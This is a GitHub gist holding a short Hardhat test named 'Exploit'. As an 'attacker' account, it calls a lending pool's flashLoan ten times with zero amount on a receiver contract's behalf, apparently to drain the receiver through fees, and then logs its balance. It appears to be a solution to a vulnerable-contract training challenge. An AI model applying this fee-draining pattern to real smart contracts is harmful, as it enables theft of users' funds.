Skip to content

Instantly share code, notes, and snippets.

@az0mb13
Last active January 21, 2023 16:09
Show Gist options
  • Save az0mb13/c53170e782d6e317313ebb8ee223bc05 to your computer and use it in GitHub Desktop.
Save az0mb13/c53170e782d6e317313ebb8ee223bc05 to your computer and use it in GitHub Desktop.
it('Exploit', async function () {
this.pool.connect(attacker);
for (i = 1; i <= 10; i ++) {
this.pool.flashLoan(this.receiver.address, 0)
}
console.log(await ethers.provider.getBalance(this.receiver.address))
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment